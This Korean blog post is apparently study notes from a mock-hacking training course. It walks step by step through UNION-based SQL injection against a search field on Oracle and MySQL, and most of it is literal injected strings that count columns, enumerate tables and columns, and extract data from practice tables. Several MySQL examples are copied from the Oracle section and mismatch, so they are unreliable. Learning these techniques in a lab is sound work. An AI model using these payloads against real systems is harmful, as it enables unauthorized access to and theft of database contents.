침투 시나리오를 활용한 웹, 모바일 환경 모의 해킹 실습 1일차

bbbbbhyun·2024년 10월 15일
0

Union SQL injection 공격 순서

  1. SQL Injection 공격이 가능한 곳 찾기
  2. Order by 이용해서 컬럼의 개수 추출
  3. null from dual 이용해서 자료형 추출
  4. 문자형 데이터를 이용해서 DB 정보 탈취
    4-1. 테이블 명 추출
    Table_name from user_tables
    4-2. 대상 테이블의 컬럼명 추출
    column_name from user_tab_columns where table_name = '위에서 탈취한 테이블명'
  5. 데이터 탈취
    union select 위에서탈취한컬럼 from 위에서 탈취한 테이블명

Example

Oracle

1. Order by 이용해서 컬럼의 개수 추출

탈취 쿼리

select * from map where dong like '%삼성동%' order by 5 -- %';

검색어

[검색어]%' order by [컬럼의 개수] --

실 검색어

삼성동%' order by 4 --
삼성동%' order by 5 --
삼성동%' order by 6 --

2. null from dual 이용해서 자료형 추출

a. 컬럼의 수 만큼 자료형 추출

b. 문자형 or 숫자형 etc...

탈취 쿼리

select * from map
where dong like '%삼성동%'
union select 'a','a','a','a','a' from dual -- %';

검색어

[검색어]%' union select [컬럼의 수만큼 자료형 입력] from dual --

실 검색어

삼성동%' union select 'a','a','a','a','a' from dual --

3. 테이블 명 추출

탈취 쿼리

select * from map
where dong like '%삼성동%'
union select table_name from user_tables -- %';

검색어(table_name, user_tables은 예약어)

[검색어]%' union select table_name from user_tables --

실 검색어

삼성동%' union select table_name from user_tables --

4. 컬럼명 추출

탈취 쿼리

select * from map
where dong like '%삼성동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';

검색어(column_name, user_tab_columns, table_name은 예약어)

[검색어]%' union select [column_name포함 컬럼수만큼 자료형 맞춰 정의] from [user_tab_columns] where table_name = [탈취한 테이블 이름] --

실 검색어

삼성동%' union select column_name , 'b','c','d','e' from user_tab_columns where table_name = 'SQL_UNION_ANSWER' --

5. 데이터 추출

탈취 쿼리

select * from map
where dong like '%삼성동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';

검색어

[검색어]%' union select [탈취한 컬럼명], 'b','c','d','e'
from [탈취한 테이블명] --

실 검색어

삼성동%' union select ANSWER_COLUMN, 'b','c','d','e'
from SQL_UNION_ANSWER --

Mysql

1. Order by 이용해서 컬럼의 개수 추출

탈취 쿼리

select * from map where dong like '%도마동%' order by 5 -- %';

검색어

[검색어]%' order by [컬럼의 개수] --

실 검색어

도마동%' order by 4 --
도마동%' order by 5 --
도마동%' order by 6 --

2. null from dual 이용해서 자료형 추출

a. 컬럼의 수 만큼 자료형 추출

b. 문자형 or 숫자형 etc...

탈취 쿼리

select * from map
where dong like '%도마동%'
union select 'a','a','a','a','a' from dual -- %';

검색어

[검색어]%' union select [컬럼의 수만큼 자료형 입력] from dual --

실 검색어

도마동%' union select 'a','a','a','a','a' from dual --

3. 테이블 명 추출

탈취 쿼리

select * from map
where dong like '%도마동%'
union select table_name,'b','c','d','e'
from information_schema.tables -- %';

검색어(table_name, user_tables은 예약어)

[검색어]%' union select [table_name포함 컬럼수만큼 자료형 정의] from user_tables --

실 검색어

도마동%' union select table_name,'b','c','d','e'
from information_schema.tables --

4. 컬럼명 추출

탈취 쿼리

select * from map
where dong like '%삼성동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';

검색어(column_name, user_tab_columns, table_name은 예약어)

[검색어]%' union select [column_name포함 컬럼수만큼 자료형 맞춰 정의] from [user_tab_columns] where table_name = [탈취한 테이블 이름] --

실 검색어

삼성동%' union select column_name , 'b','c','d','e' from user_tab_columns where table_name = 'SQL_UNION_ANSWER' --

5. 데이터 추출

탈취 쿼리

select * from map
where dong like '%도마동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';

검색어

[검색어]%' union select [탈취한 컬럼명], 'b','c','d','e'
from [탈취한 테이블명] --

실 검색어

도마동%' union select answer_column, 'b','c','d','e' from union_answer --

시스템 정보 테이블

  • Oracle
  1. 테이블 정보
    all_tables, user_tables
    ex) select table_name from user_tables;

  2. 컬럼 정보
    all_tab_columns, user_tab_columns
    ex) select column_name from all_tab_columns where table_name = 'MEMBERS';

  • Mysql
  1. 테이블 정보
    information_schema.tables
    ex) select table_name from information_schema.tables

  2. 컬럼 정보
    information_schema.columns
    ex) select column_name from information_schema.columns where table_name = 'union_answer'

profile
BackEnd develope

0개의 댓글